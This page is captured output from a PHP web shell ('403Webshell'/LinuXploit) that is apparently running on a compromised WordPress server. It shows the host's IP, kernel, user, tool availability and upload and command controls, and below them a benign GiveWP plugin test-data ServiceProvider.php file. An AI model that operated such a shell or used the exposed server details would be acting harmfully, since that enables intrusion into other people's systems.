403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/blueversion/wp-content/plugins/give/src/TestData/Addons/Funds/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/blueversion/wp-content/plugins/give/src/TestData/Addons/Funds/ServiceProvider.php
<?php

namespace Give\TestData\Addons\Funds;

use Give\ServiceProviders\ServiceProvider as GiveServiceProvider;
use WP_CLI;

/**
 * Class ServiceProvider
 * @package Give\TestData\Funds
 */
class ServiceProvider implements GiveServiceProvider
{
    /**
     * @inheritDoc
     */
    public function register()
    {
    }

    /**
     * @inheritDoc
     */
    public function boot()
    {
        // Add CLI commands
        if (defined('WP_CLI') && WP_CLI) {
            WP_CLI::add_command('give test-funds', give()->make(FundCommand::class));
        }

        /**
         * Inject Fund ID into revenue data
         */
        add_filter(
            'give-test-data-revenue-definition',
            function ($args) {
                $args['fund_id'] = give(FundFactory::class)->getRandomFund();

                return $args;
            }
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit